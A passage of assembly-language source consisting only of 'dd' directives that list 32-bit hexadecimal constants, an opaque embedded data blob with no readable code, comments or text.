0A16CDD00h, 7EA5E87Fh dd 9DE4A101h, 0FF223FE4h, 0A046E814h, 23E833Bh, 0AFFB7C9Ah dd 16CCA35h, 5E7404DDh, 32E85FB9h, 6F414DD0h, 741F3D03h dd 4E536233h, 34E87FAh, 8BA1DCDDh, 3D00B740h, 80877519h dd 0D86B9F26h, 6827BA04h, 0D4ECBAF2h, 0DB42FD07h, 0D0E56E83h dd 835BA0A1h, 87F91796h, 101BE95Eh, 0A7F406DAh, 2680CFA0h dd 788965EFh, 3F743FC2h, 463F7268h, 0BA1FE5AEh, 0D05B741Eh dd 85F8B633h, 61D012Eh, 0E806ABFAh, 0E476E803h, 0FF7CC23Eh dd 0EDD01CD0h, 0BA8EBF41h, 0FC89A0F1h, 1E7C87DFh, 3E079934h dd 6839BA04h, 0BF53AA8h, 0C9A052EAh, 0FEE8EB7h, 0E8DEF1B9h dd 3DCF38B9h, 7EA5F3CAh, 7A1D47A1h, 0D0BF38E3h, 157D0E3Dh dd 0AE876AF4h, 742FDE3Bh, 5DF43B1h, 1F439A7Ah, 9A17E099h dd 0CD3FD0E3h, 0E3ED0BF7h, 0FC4BFDD0h, 0FA1DC342h, 1CF5D05Dh dd 75CE1FBAh, 7D254FA1h, 59FA1D4h, 0BF27C3BDh, 7333A1DCh dd 3A1742FCh, 9C62A2F4h, 804FA1D7h, 38E873CEh, 10E85FB7h dd 74127E87h, 57F438Ch, 2EE8769Ah, 5B42FD13h, 0C9E6F439h dd 6F438FE8h, 7A17EA9Ah, 0FFD3B7A5h, 0CF42FCFBh, 69DB743Ah dd 1F439BE8h, 0A1C3BD07h, 0DF474C3Bh, 0E8117A1Ch, 19FCDE85h dd 1C53A17Eh, 8674163Ah, 1D05AF43h, 3345D0EFh, 876542FDh dd 0E5DA07DEh, 0F9662DD0h, 0F4390685h, 4FE0D9F2h, 3C9D0F2Fh dd 0B8F42FC7h, 0FE403743h, 833E877Eh, 32DE2DFCh, 1C8C63F7h dd 0CBD041FAh, 0E8377A1Ch, 76DD0EF9h, 2CE85FAEh, 5D038E87h dd 0D06ED0E2h, 0CFD0E19h, 0FE8714E8h, 874F741Dh, 2FC07E8Eh dd 3F439BB4h, 43B9BA0Ch, 5FB0FC7Fh, 5F43A068h, 0D62E7D04h dd 0E023E7E9h, 0A0B3439Bh, 32743977h, 3D0ED5E8h, 8742F415h dd 8A7A055Eh, 9D02EF43h, 809FD0E3h, 9FE8714Eh, 0E874F741h dd 7F451FDBh, 0E83DBA1Ch, 806D0E56h, 83D0E7AEh, 0F1895F40h dd 0CFA085D0h, 0D05CF439h, 79FA1DC7h, 0FA1C7BD0h, 1C9BD04Dh dd 2BD04BFAh, 0E42EBA1Ch, 6743BE79h, 73D9043Dh, 0EDD0EDE8h dd 87E873Ch, 0B7438A74h, 0A1DD1944h, 0C24F05DFh, 947BFA1Dh dd 6FD0EE69h, 0F439BE10h, 0A297D05Eh, 0A0FBF43Dh, 3F43B8Fh dd 0D155FB0Fh, 0FE4E3DD5h, 0C2BFB40Ah, 6DF419A1h, 82A7439Eh dd 89E8712Eh, 0F43887A0h, 3A7BA0B3h, 0E1D056F4h, 0E811FD0Eh dd 43D0EE6h, 0E8740B7Dh, 42FF68B3h, 336E8794h, 0C81F6AAFh dd 0F639CA76h, 8F5503F1h, 53F2741Dh, 438B6750h, 997A083Fh dd 3D02EF43h, 7083A1D7h, 9D0E256Dh, 473AED58h, 0E1887F21h dd 2265231Ch, 7A0EB43Dh, 47C7A46Eh, 165E8384h, 0DF437019h dd 0E8F2F88h, 0C2597E79h, 7F4FC58Bh, 0D4382ED3h, 50AC9F7Bh dd 0E7333E9Eh, 0BF8BF1E1h, 0BDA08809h, 6F9B8379h, 0CFFEA57Ch dd 0BACB0785h, 5C5BB07Ah, 0E1BAD970h, 2BD6ABABh, 0BF3F5E0Ah dd 0FEF7195Fh, 0EB831D73h, 0F73D538Ch, 233790CBh, 0D9F5CCBEh dd 6BB57AEAh, 5B380A0Dh, 0E6AB2381h, 7E69BB5Fh, 7D1B838Ch dd 0BC9C92F3h, 0CBF3FCA9h, 71EECE47h, 315F7BD0h, 13F97833h dd 0D876D783h, 0ED51B3B7h, 9E6EECC0h, 73C95773h, 0EB5D93FAh dd 9F83D995h, 0AD6FBEEFh, 0FCB35F83h, 70335D5Fh, 0DBEC055h dd 8B8202CDh, 0AFF6569Bh, 1BB5FE6Ah, 35EB83F3h, 0C4E7549Fh dd 9FF7C90Fh, 8B6F2E6Ah, 5A6571B4h, 0FACB8D8Bh, 5DDAD596h dd 0CB7EB5DEh, 9D0E3BE8h, 0E08D3BEFh, 1B90C8D9h, 31B89FF2h dd 4F93587Fh, 0F8DD49BFh, 0AF3A9B45h, 0D93F0572h, 5534F658h dd 0E362BC18h, 0BFED55C8h, 0B3B5695Bh, 0E709DE79h, 0FCBC1B1Fh dd 6175F8B1h, 42F1B687h, 63D0B4A3h, 3ACE7AA7h, 4EEEA6D3h dd 0FE2F1EEDh, 9B4F35C5h, 7FBEDF3Ah, 0A2B3253Ch, 0C516976Ch dd 0E4F057B7h, 0D91BE1C9h, 7B3B2BDDh, 7020B1C6h, 65794BD3h dd 821DBEECh, 38EF0B5Fh, 818CCCA2h, 581DBA6Bh, 0C9A22ED5h dd 0D79536D4h, 379FC8Eh, 567BF057h, 1C340487h, 61C4ECDFh dd 0ACCF5E2Fh, 0C8F965BDh, 2EDF8DD5h, 566BF70Bh, 579D86D1h dd 0DD4BDF7Fh, 0ECF1E73Ch, 0A6507B53h, 20A5AE2h, 0BF1B2D5Fh dd 757875C6h, 0CE2FB7A8h, 0FB956DFEh, 0DDB89BF9h, 95425CABh dd 76BC9E3Ah, 65DCF255h, 752E4E3Dh, 3FBBD4C6h, 0FC7F67D7h dd 97B788F2h, 3DF7DB56h, 0F733753Eh, 0EAA14AE9h, 55793C79h dd 45E533CFh, 24B96F61h, 6AAF24DCh, 8796FBB9h, 0B0B2A1Dh dd 0F8DD9D6Dh, 9B22D5D0h, 0E437914Fh, 19F93967h, 47AB6581h dd 43EE726Eh, 255BB23Bh, 0CDD91CFh, 0DE65ADFFh, 0A5D5F2B1h dd 6ED7F9AAh, 25D5EF9Ah, 9F24BCDFh, 722F09BCh, 77EEBE9Fh dd 0F9C5687Bh, 0F39CF37Dh, 69BDAD4Fh, 0DA57C0CDh, 0B045B2DBh dd 0DBDAD4E1h, 0EB2F0E37h, 0ECBFB3E2h, 7C9BC195h, 18AD978Fh dd 8B23C2B9h, 1DAA0353h, 5639F00Bh, 0E186CB7Bh, 0A6F4BD6Bh dd 2F3F8657h, 6FCB9454h, 84DD71B9h, 0F21FBB17h, 5AF8F9EAh dd 3C2596DBh, 67687E11h, 0A93AA050h, 77FDE559h, 1D59B96Fh dd 0D49BD61Bh, 5E27F8E4h, 5F96ACD9h, 7585B321h, 0B8393D57h dd 1D66FC4Ch, 5F733EB9h, 0F2553B45h, 0FDA9FCBDh, 3741C6C2h dd 7F47A739h, 0B2EEF6Bh, 0FD3AD1EBh, 1562E876h, 77C9F77Dh dd 73FA1DF4h, 0EDD5E0FFh dd 6A97ACAFh, 5A4AC857h, 871B2DEDh, 0BDBD75CFh, 5E656BA6h dd 6B559B56h, 0BD872F06h, 0AF99E8F3h, 7FFA91FEh, 0FB6A332Eh dd 779203DAh, 0BD446569h, 3C7571A0h, 62DA54E3h, 73E1E6E7h dd 76ACF7C2h, 0F828BBE4h, 1E5F32D5h, 52AFF656h, 2AF32B8Eh dd 0C5A338E5h, 2FC515C6h, 2E513BB6h, 0DB22ACB4h, 0C6329E4Eh dd 792A9591h, 5D790DEAh, 27C136BDh, 35B1F0CFh, 0BB7D46C4h dd 8B685DA6h, 36154151h, 5D8F66Ah, 11BF6F81h, 6A68DA11h dd 92A713D3h, 0FE413D1Dh, 0C357C4ACh, 1CECAC4Fh, 0C86A62D2h dd 3BA9CBB9h, 32EFD7CFh, 6F7B63CDh, 0BF89EC7Ah, 27CF6638h dd 0E6D6AC6Ch, 7753E7B7h, 36120A9Eh, 2798AD36h, 0AA71F9B8h dd 0E698F8E2h, 0D88C560Bh, 6AF0F1DCh, 171E0D81h, 0F57D954h dd 5A1D1B3Fh, 45B4DE11h, 0BE8746EFh, 0AF8AF5EFh, 0B5D9346Ch dd 0B9A02C3Dh, 82E30797h, 5E0F56CBh, 546EF18Bh, 1DDC7837h dd 0D92D7395h, 0BE6E768Dh, 543B9CA7h, 0F63CEDEh, 0B35CA2Bh dd 0E6D4546Dh, 2CAF55E0h, 1B057293h, 0CD5DDE23h, 0CF1CA837h dd 4CD7DBBAh, 0BD7F2CD9h, 46229692h, 0C937C8FAh, 0FD99BA9Fh dd 0DA97656Ch, 1CDB3DC1h, 0E9B094BAh, 33FB758Ch, 0D8D3E1Eh dd 0E4EAF2D8h, 0EDA1C2B5h, 1B83B3F0h, 9F45FE7Eh, 933E9EF5h dd 6EB2BCFCh, 0ABB557BBh, 0CE377C1Dh, 99FD6BDBh, 18F9DE21h dd 0FF1A1ACFh, 0DA85DB93h, 13E9B30Dh, 74FB7BBFh, 5B763A93h dd 0CDF7AA4Bh, 0C0B4B1D1h, 2F86EBADh, 69AD0E17h, 0B8C7BF54h dd 4FBE073Ah, 0CB68F875h, 89D75CF2h, 0F0407435h, 0F3E3F938h dd 74CFEB71h, 0FA7BD714h, 0FE79D25Bh, 0D88BBE8Ah, 371BDB43h dd 0FB6E860Dh, 0FEC2C9EAh, 0AF9FDC65h, 2C37B70Bh, 7B1FDA71h dd 0DAACBC93h, 6E2617DBh, 19787F6Ch, 5A45B4DFh, 32B89F8h dd 0D152FE37h, 305B1C47h, 0A7F8557Ch, 568587AFh, 0DD514FE9h dd 5E0FF765h, 76D0F1DBh, 0D4C9B429h, 454EDF90h, 28F0F16Eh dd 8CDD7FC3h, 6F6175A4h, 0AF2C7579h, 4C8F53CBh, 8556A47Eh dd 53FB231Dh, 0FA76DF66h, 19BCEF7Eh, 88CCFBE9h, 0D63A2BBDh dd 0E1B23E6Bh, 0F97BDFFBh, 0C6DBB536h, 75D753CDh, 0F9DE5BDBh dd 93527A36h, 0AECFDD4Ah, 0FC797CF5h, 0ED151EBAh, 62B5A98Dh dd 0DDD5C8F3h, 466D5CBFh, 736ECEB4h, 0F8DCA2A8h, 0F5D73B5Ah dd 53DAE4DFh, 0D1F43186h, 9507C7B1h, 94F3DF75h, 71CEFF50h dd 0A5F70741h, 0E034657Bh, 0CB4375D5h, 0DED81CEAh, 0B4EB49AEh dd 8E9CBF36h, 68C8E1D9h, 0E1F2AAE0h, 0B93A34AFh, 0FE1573AAh dd 0D2BE1ECDh, 0EB8CB275h, 0EF1EE2DCh, 59705E7Ch, 75AD90F9h dd 0AE77AD0Fh, 1E4FB2A9h, 0B531D79h, 0FB4D7CB6h, 0AC0F5FB7h dd 486A675Fh, 0F8DEFCE5h, 740AF96h, 0B4EFD46Eh, 0A42F8D80h dd 0E8388CCEh, 0F9DE5BB5h, 7CE2C890h, 0EDD49B72h, 2A822676h dd 55AC49F6h, 142DBDE5h, 0B8E47235h, 5B169D1h, 793FDD36h dd 0FEA0D450h, 3F9DED22h, 4F9DE31Ah, 738DDA72h, 0B2EC2BDBh dd 8B138B33h, 0CBF6DD33h, 0F101A81Eh, 62138331h, 44069312h dd 9517EE83h, 0C032929Ah, 3D156F5Eh, 33D62620h, 16BBE76Bh dd 7A746D32h, 0D3966646h, 3B12CF47h, 8A6639FBh, 5BD79F2h dd 0B72D3FD5h, 0E6979C0h, 0FF594779h, 0F89884C8h, 7B5884B8h dd 79DF29BEh, 7488C755h, 11EF79FBh, 2AB139DEh, 0CB76DCC7h dd 3D98BC23h, 4A7FA932h, 590A726Ch, 7DBF6866h, 0B175E492h dd 0EDB4D310h, 7EE64E90h, 640EAD53h, 0EF751819h, 8C7AA3BDh dd 0F2CEDA42h, 8C8D1FAEh, 2B224989h, 1DEB3C6Ch, 50A6A407h dd 18F79411h, 0CDD5DB59h, 2C4A9FFBh, 0E624E775h, 6BE45016h dd 111111EBh, 535F6314h, 0FD867161h, 59371CDAh, 959E76Bh dd 5571FF66h, 0FFB583ACh, 84545CB8h, 64F11B87h, 6943B3CEh dd 32DE7B0Fh, 0F22992D5h, 61496224h, 26352BB1h, 585455D1h dd 90EAE25Ch, 9EE7B2E1h, 0A5195C33h, 5FF96499h, 0F8D7926h dd 52BADBB2h, 16E6278Ah, 0E2BC9364h, 99E4EECCh, 0E711D24Bh dd 7475ED7Ah, 0E48D63F6h, 1DE1F3E9h, 0D672EE32h, 0A5E656EEh dd 219CB793h, 0F6E0EA9Bh, 0DB107570h, 4DD753DDh, 1DE15CF2h dd 0CF833B4Ah, 0DCF92A5Dh, 0AC623DC1h, 2AAECA67h, 10F91FFh dd 37242A29h, 0CC726E0Bh, 645C8D5Bh, 0ED9563F5h, 686A761h dd 8D075A6Fh, 0C446BE91h, 4C26CE8Ch, 31BF3324h, 8DA10189h dd 0BBF0A3F1h, 0F4202032h, 0F0E77E22h, 15ED4C8Bh, 6A45EB67h dd 0A3590A72h, 92A0D107h, 0EC4AB30Bh, 26E75779h, 0D406BD87h dd 9392979Bh, 0CDCE4AE9h, 2C2F4DCBh, 0A6652570h, 5DBBE5E5h dd 79858529h, 0C78B0BE3h, 0AC5447B8h, 0CAD7F852h, 4F88B913h dd 7863EFB6h, 22937D67h, 0DB866DE3h, 7B2623F9h, 8FE0D197h dd 21552A7Bh, 794AAA6Fh, 532956EBh, 0B7C90FE5h, 8A6BD8EBh dd 85EC9293h, 0B2FD15C7h, 5DD32A95h, 170C14FDh, 628F74C3h dd 34EEF963h, 248AD22Dh, 0AF22C944h, 0EB386D38h, 0DED32792h dd 0A953B725h, 0C5325EC9h, 2759C687h, 78EE55C7h, 0EBDB85D6h dd 0AE23307h, 38273232h, 5FA7DE7Ah, 0B70EBDBCh, 54E8BF4Fh dd 0D56E9FBBh, 223BD35Eh, 513ED625h, 4F21F72h, 7A66517Fh dd 0AF5E5A6Eh, 0D80CBCC2h, 5B9DFB1Ah, 0B8ECF26Eh, 0F7268A63h dd 98E9A293h, 23625928h, 84925EB9h, 6454A99Dh, 66DB689Fh dd 0E4C43845h, 14CB1BA4h, 9D79C68Fh, 9D23F915h, 0BD64F735h dd 0BFAA48FBh, 8FBEEEBDh, 0B3DE0ABDh, 8B949FEEh, 0D057FAA7h dd 0F6D13A9Eh, 0F64911D3h, 0D8290153h, 4AFD5CAFh, 0D5A390CAh dd 0E5A3C7CBh, 0FE2D6764h, 0C21EFB48h, 0BDE57B00h, 0DD67BCA7h dd 0B7E74F6Ch, 0D9E78865h, 0D6EA3F11h, 0B5BB6B76h, 0E7FEDADDh dd 0B60CB6Eh, 3CEC3CC9h, 1BF013A4h, 7E225F85h, 86EBF13Dh dd 9E21AB5Fh, 831DD9F9h, 376B4203h, 0CB6379FFh, 3D3E3257h dd 110EF7C7h, 0EABE9E83h, 8B4562BFh, 0A6322B29h, 0E4F26D6Ch dd 7B9183D0h, 0FDDE7E5Ah, 7E1B5FF5h, 0FB7DB05Ch, 198F0F33h dd 51A7F735h, 0AFDB134Bh, 89EEF219h, 0E45349F3h, 43F3BCD2h dd 7A9D1E2Fh, 0B45AAC75h, 56FD4982h, 0AF3C3F58h, 0F7AAE079h dd 0FB595C3Eh, 0DF2DC5C1h, 0BEC2F078h, 0B80AFD2h, 0CD9E3FA5h dd 0B5E9A07Fh, 9C1E0169h, 9B9FECEEh, 0BCD24B57h, 2BC90331h dd 0FDF4185Ah, 7B8B073Ch, 50FFF8CAh, 0E6408731h, 3FB4162Dh dd 5F8446F1h, 0BC77E18Bh, 8DBF5DFFh, 0CC81D89Eh, 7197E4B7h dd 5F6B2F9Fh, 0B7C622BBh, 3BD666F3h, 0AD63AAB0h, 0FCCE6916h dd 66DEDD80h, 5AF6D0E6h, 0CDB8332Ch, 0D8DE9D81h, 8F98E1A0h dd 22BB9B77h, 0A42FFB49h, 0B13889CEh, 456863B3h, 0CDE76C9Ch dd 82FBBD70h, 79FB27D3h, 92035E98h, 0D9264706h, 8FDEDCB8h dd 37268C8Ah, 0A3A3A373h, 12C593BAh, 0D85F8F3Eh, 903F0479h dd 0E3D273F8h, 676D0F0Dh, 0AA0F076Ah, 4574E873h, 0BEBC176Ch dd 0F6A6FFBCh, 0AF091E27h, 4E67DCDFh, 0D69BCEDBh, 0FBEB71B9h dd 0E6C6561Ah, 0EE12F59Eh, 0B97945F1h, 8AAE9925h, 0E4A514B5h dd 418026CDh, 1544059Eh, 4E9746E5h, 266F202Ch, 3593EEF3h dd 884DE446h, 0A0BF6D5h, 0AF3D338Bh, 0A8B2A452h, 0CA8F2A5Ch dd 93DDEFB4h, 0E07DB805h, 0D6F78965h, 0D24B33F3h, 7685055Ch dd 0EFBBD33Dh, 69949DCEh, 0CADBAFA0h, 3E545713h, 8A93D36Bh dd 4A449D42h, 264F38ADh, 0AF625159h, 0B4E9E906h, 51F6F18h dd 2C29294Eh, 6CDE6CA2h, 93EFBAFDh, 0C3D7EEDCh, 35A7053Ah dd 1733E43Eh, 0EFCE241h dd 19A79E55h, 2BFD72DFh, 47B45723h, 6CB557BCh, 0F2B6FF81h dd 0F8F40FBEh, 0C18EF5F4h, 7E1BBDA1h, 0B2E8FDF0h, 75756A5Fh dd 0FCBC5BE6h, 6BBC3FBCh, 1EC6D2C3h, 388B1859h, 90EAE472h dd 0D43A2B93h, 0E3BD4E0Eh, 0CE5117D8h, 0F06E495Ch, 37C305DAh dd 87B7BBF0h, 0AF3156DDh, 60F29031h, 46497777h, 0C6BAB267h dd 90599E15h, 75E499D3h, 715771B3h, 0E31B15DDh, 7D0771D6h dd 0D6949DD7h, 2EE75B2Dh, 772D3F63h, 799BCE55h, 5679F5E3h dd 6D6926C3h, 3399F53Eh, 1FDFE4F5h, 0B8C5ADDEh, 0A173BD3Bh dd 369F594Eh, 468F79BDh, 0BC62D1DCh, 772BD793h, 1DE7B442h dd 3CED9592h, 6936F1D4h, 9DA7BF9Ch, 2D56B5F1h, 0C0E5EBBBh dd 35852F23h, 0F8D49A0Ch, 697E4AFDh, 3EF72E3Fh, 997A0273h dd 0A6DBBD0Fh, 7DE732EDh, 0F43E53E8h, 4D3A0AE9h, 7E2B3859h dd 0F8C54463h, 0BAE4E4A7h, 85C5455Dh, 0F969C5D9h, 89B4FCAEh dd 0BC82C2AEh, 99D1AE89h, 2D2E2AEh, 61715657h, 95CD2BBEh dd 0CAE51C9Ah, 1BA2DFB0h, 0A8BEB681h, 52646B68h, 0ACBFF632h dd 0E7DC3B6Ch, 0E595E13Ch, 53226312h, 0B69A6922h, 0B7DC2765h dd 0FA1F19FCh, 6BFA1F2Bh, 9F1BFA1Fh, 43E338EBh, 5743E57Fh dd 6C71CF96h, 0BD2718C3h, 873349C7h, 1DB969DAh, 0B8D5925Bh dd 0F1E489D1h, 39D32A4Ah, 0E4A4E19Eh, 0B0AE5A25h, 6EB0EE0Eh dd 0D2EF2CAEh, 190BB279h, 0CECE6272h, 0C13C65BEh, 50891E6Eh dd 0F3600A7Dh, 0A7CDE329h, 643E9DB2h, 0BACAE73Bh, 0E29F5AABh dd 189227FAh, 4F6EEB3Ah, 2748D67Eh, 4EA4E21Dh, 7EA72CFDh dd 64D8BD45h, 34AAD9FBh, 0DDD47F27h, 484DDAD5h, 46052548h dd 6483C0DDh, 351F38F2h, 0A8CF39CAh, 0E71C3721h, 7D9F71C8h dd 7DBEDAB6h, 9CC351DEh, 0D3F9CEFAh, 270EF49Dh, 0BFBD526Dh dd 76EDFD51h, 0FAFAF71Ah, 898E57A2h, 90414DDDh, 0DB29D8D0h dd 0BFD7D7ACh, 0BE818F79h, 2F3A5E0h, 7232BE67h, 6ADEFB2Dh dd 0A93C6841h, 92CF89D9h, 900F9EB6h, 943EB99Ch, 4EB2A9FBh dd 0A98C5EA5h, 0A4B2FCF5h, 0CC543B17h, 55EB3539h, 7ACD1BA9h dd 2BA1F69Dh, 0E6F61665h, 431BE1B5h, 57EEBDF6h, 4754CEBFh dd 0AAF59BC7h, 16D2AFD4h, 7D0DD65Bh, 6D89FDA2h, 921BF511h dd 32A8D239h, 0D66A3D8Fh, 0EDBE47CBh, 0CBA23239h, 0AB8F9BB5h dd 0CF8CE368h, 0A1F2BEF9h, 59B8652Bh, 0CD9F8788h, 8EB49C82h dd 5275D693h, 9D4D4787h, 8ACDB0B4h, 0ED6579CDh, 3CE4ADF6h dd 0C9C0D7D7h, 0D8AF4CF7h, 3CBD0E4Bh, 977B76F8h, 6C62D8Eh dd 0B51BDF1Fh, 0E75FD3D6h, 90F25079h, 126F3DA4h, 146DD4EAh dd 46CFD95Bh, 0F4FD95B1h, 0FDEE66D8h, 0CD7EE1D9h, 28D4D7BCh dd 8DEFB2B6h, 0EFBEFA9Ch, 5EFAAE0Eh, 0FCF3CA61h, 27F6AAEAh dd 0DA6B0E1Eh, 0C4E428A2h, 9EBF5E77h, 617CED67h, 6B5CF3B8h dd 0BA3BC7B2h, 709C75EDh, 0A8861D82h, 0CC709131h, 93CE09A9h dd 8DB264C9h, 65997322h, 0C8BE862Bh, 6879067Eh, 0D8E4D69Dh dd 9F8E9EA9h, 0C36B531Eh, 8D75A2DAh, 98ADAD0Eh, 0D6B0DC77h dd 0E3CE1B2Bh, 9DCF15D3h, 0DA18ED2Eh, 0D86E77D0h, 73AD3F9Bh dd 0F98AA360h, 0C1EF2777h, 4C777AF0h, 4541F3AAh, 5D873259h dd 0DD5C2654h, 0E21A1616h, 0E0571B2Dh, 0CACACD2Eh, 7593274Dh dd 0B5FB7CAEh, 11F964B7h, 783C9235h, 5DD93CEDh, 0CB19EE14h dd 0DA4ECEA2h, 52C693C5h, 8857F8C5h, 7FEDADDFh, 7EC036E2h dd 0EDADC213h, 4D16EA7Fh, 540551A5h, 0DE7D503Ah, 5B95DDDFh dd 75B0DFDBh, 0D1A922A4h, 0F92FFDB6h, 6B72BBBBh, 8EB61BFBh dd 0BF741254h, 0F13FE304h, 0ADCAEEEFh, 3AD86FEDh, 36547152h dd 0B1003Ch, 67777F99h, 0D7FF6D6Eh, 50D48EB7h, 57ADFB8Ch dd 0DD4FFED7h, 5409523Ah, 89DDDFE1h, 0B6DFDB5Bh, 17F70345h dd 0D96FFF42h, 5B99FFFEh, 2BF23B1Fh, 71BBBBFAh, 0B69BFB6Bh dd 4A952A28h, 9401BFC1h, 7ED0A4BDh, 79CE36EAh, 5DE7A56Fh dd 8FD82995h, 0DC87F7B6h, 0C8D91FE4h, 510B921Ch, 88E22964h dd 2935812h, 0EFB78DECh, 0F9D9E615h, 899BF899h, 0E4D034DCh dd 0F60661FEh, 0A452ED73h, 7D6D9705h, 197AEDD2h, 46491236h dd 64DE424Ch, 241A8F9Ah, 2D418D2Eh, 0E8C1CEF2h, 0C28282B4h dd 0E3791712h, 7F6DCB87h, 0BCA284F9h, 0F231EFA9h, 0B4C8EAECh dd 0A7320C8Ch, 96FB4BE9h, 1F4CCE29h, 91376E47h, 0D5D2FBFEh dd 538F78CBh, 0B3DF9C37h, 569BD39Eh, 5A539639h, 624D5E42h dd 7DA1F71Fh, 1617A4CBh, 7B8E9014h, 0C8C72AD3h, 0F937517Dh dd 0E5095A8Ah, 1996FB4Bh, 0AF39EB9Dh, 7E72AD37h, 9BCA714Fh dd 4977EF56h, 24DFA7A1h, 47963DF5h, 9E8453BEh, 0F5AAD37Ah dd 8573484Ah, 2BCF3645h, 6932DF69h, 0C8837BF6h, 0A93C0F3Bh dd 0CCECB1EFh, 0A1FEF212h, 0B19D13D1h, 0D37FBEA8h, 0A8C79EB2h dd 0BEFBEAA9h, 0A4A0B65h, 78CC8873h, 3963DF53h, 0D5E48525h dd 0AD37940Ch, 39CF2C7Eh, 36937796h, 0AB369CF3h, 1C9C1B1Fh dd 0ACF3E559h, 95ABF7D5h, 0BB5E78ADh, 0B3C57E5Ah, 79383DBh dd 1E73F744h, 0B82F2727h, 55DF79F2h, 1ADA5FCDh, 585F1AECh dd 5AD3C9D0h, 0CA2FEA5Bh, 9BBFD551h, 0F562A555h, 0F9556A6Fh dd 73B556A2h, 32FB5724h, 0F45F8DD3h, 0DE4FB9AAh, 977CF8BEh dd 0AAE95AAEh, 53DB6CC7h, 1BB825F9h, 231EFACAh, 0BF5F95FBh dd 27D45AABh, 0B677EABFh, 0F558B5AAh, 85F3E518h, 0AAFC6AA7h dd 0CAF8AFCCh, 55CEF553h, 0B55453E4h, 2D5576AFh, 5518ED59h dd 0D5612BE5h, 8C7AAD1Ah, 0CA217EF2h, 0ED5E415Eh, 0F037814Bh dd 9F71FAAAh, 0B3E8B23Ch, 31F6F2A6h, 7BF55FB2h, 578B55D1h dd 0DDE5563Bh, 657D640Ch, 0AE515A46h, 0C2EA1DF3h, 36B931C2h dd 0E47924C4h, 0B951C6F5h, 13C56905h, 5FDBE6ABh, 8076AC6Fh dd 2CAFDBE4h, 5BAB3E70h, 1BDCB5F9h, 15A7458Eh, 0CDCE8DA5h dd 0F26FDF23h, 5BE1C79Eh, 0E8DE5E5Ah, 840D6734h, 0DBFB27DDh dd 8F10C969h, 0EFBC768Ah, 0A8B270B9h, 32E48E52h, 7E5D77B4h dd 0C182FBE5h, 15FB38FCh, 695454BCh, 0B1665656h, 0CCB8C06Bh dd 0C2BCACE2h, 0F63BF0F1h, 497705D2h, 0AEC43161h, 0F3BE7EE2h dd 3CB494CEh, 0DC6DF397h, 0A101117Ah, 0D080E5EDh, 42035311h dd 878BA469h, 0E868406h, 422D080Bh, 851F8E5Ah, 0C5F8C6BCh dd 0DD9E754Fh, 17E98E4Eh, 0A2215B17h, 0B2AB5836h, 0BF62A7D6h dd 0EC6BED0h, 7AE5576Eh, 408DE764h, 8EF224AEh, 0ECDE11A0h dd 59124844h, 152CEEEAh, 50A997B7h, 0A870DBCEh, 0F222A2B4h dd 0D20CD19Eh, 2DD5FB57h, 0BDC73D75h, 0E9B27F2Fh, 9CF4E2D2h dd 0FB117834h, 95B06995h, 0A2647BCEh, 9EAF2228h, 12BA302Fh dd 917AF160h, 0BF419F4Fh, 723F29Dh, 2A8E8E67h, 0CEEF1C2Eh dd 0D6491E2Ch, 86AB3942h, 0DDEC1728h, 0EF3C3F95h, 22B08836h dd 2F4C8D07h, 0AF691FCCh, 0D3D9E864h, 8F7C558Bh, 0E7E27CFBh dd 0B75086EFh, 16D2FFB6h, 12273F60h, 0C8D3514Eh, 0E1A641BBh dd 0F6C9307Fh, 56EFA423h, 0D33EFEC7h, 0F793E410h, 2521148Ch dd 2522E6F5h, 0E65917EFh, 5BFA9E7h, 0C8AF7929h, 9DE4A411h dd 92916722h, 0FE5089F7h, 483AB4D4h, 6F57FB9Ah, 8B229837h dd 4FE468DFh, 0E907DA40h, 214748BDh, 4E90FBDh, 7CC2A4A4h dd 9691D3A4h, 91419D23h, 0D35176EFh, 8E3D2366h, 0BE450E74h dd 7B4D4C2Fh, 506904h, 0A451ED35h, 91F3A42Eh, 431F48CAh dd 71F4889Ah, 370139A4h, 0C0C9175Eh, 2FEDD8C5h, 0E9173A46h dd 200FA47Ah, 41F48FDDh dd 3E90A7A4h, 0D212F484h, 3434879h, 92769A9h, 469E90DFh dd 7AB033DAh, 1D547EBBh, 60486630h, 0F27B7E75h, 9FC86A73h dd 0DCFE4350h, 0D717F21Ah, 435E5F90h, 0F21A96FEh, 7F90D7F7h dd 0B3FC86BCh, 0AA5FE435h, 0D6A83F21h, 0D79BF3CDh, 435E1F90h dd 7E435CBEh, 87F21A9Fh, 539F90D4h, 1A84FE43h, 90D6E7F2h dd 0FC86B8BFh, 0B7F21AF2h, 0BFBF90D4h, 35E3FC86h, 21AD9FE4h dd 0F90D52FFh, 0C0D5B741h, 0C3F21AFFh, 6B97C86Bh, 0FC83EFC8h dd 548189F0h, 1D03CFB8h, 0EEAA9339h, 0BAAE4F97h, 0D54A767Fh dd 0AB7BF0FDh, 5AAFBFD5h, 0EAD569FDh, 7F56AF4Fh, 51FDD566h dd 0BF948159h, 5D3EE57Fh, 0F04D4818h, 940E79E9h, 0BF29F450h dd 5A90372Ch, 67DFB3E9h, 0FA65204Ch, 0BCDCFECh, 3DF69EA4h dd 0F7DA015Fh, 0EFDA1FEDh, 47FF23E8h, 1CD481DCh, 290DF39Fh dd 0F5EEA409h, 0FD8E3FD9h, 0A3FB3E59h, 9FEEAB4Ah, 0EFB17EC5h dd 0A40F8CF5h, 4FD9F4DEh, 0FB1B7F04h, 0B93F9F94h, 7DE27EEAh dd 0AB4F8ED5h, 7A647FBAh, 99D0FDD5h, 0AACFEAD5h, 0B54A7E56h dd 0DD56F7F2h, 0EA7B6EF7h, 97A627EEh, 7DEF63AAh, 690FD948h dd 154B151h, 52654255h, 0EA8B94C5h, 0C3A09487h, 953FAA20h dd 7B64FD8Ch, 0A6DB83F5h, 0CA5C8948h, 0F292707Eh, 0AAC79FB7h dd 0E17B7F8Dh, 0AF03A2A1h, 0A5519F5Fh, 0C72A129Dh, 0F720D59Eh dd 0CB51B2CCh, 4D41DF6Dh, 675CDFC3h, 76CC83FEh, 0D265DBE4h dd 170D79ECh, 0B73EC635h, 0CC843E67h, 0BAA78EB9h, 1322F3D9h dd 351D2250h, 69A3ECF3h, 9B486F76h, 1339ECE3h, 0E2A33D97h dd 0AA42B1C2h, 0D2327ED4h, 14717FB7h, 6E696B8Dh, 39C12FF7h dd 0F4ED67A3h, 5DBA6A34h, 537AA346h, 0D5D7C18Fh, 15E99946h dd 1FD6F29Ch, 616FD76Ah, 46F0F7D7h, 455CCAF5h, 0FD76C1FDh dd 0FDF53E26h, 7EA73F28h, 98E0650Eh, 0B4FF901Fh, 3C892B2Ah dd 0C739FBC7h, 37E3EDFDh, 0D7E2695Bh, 0D47DFC93h, 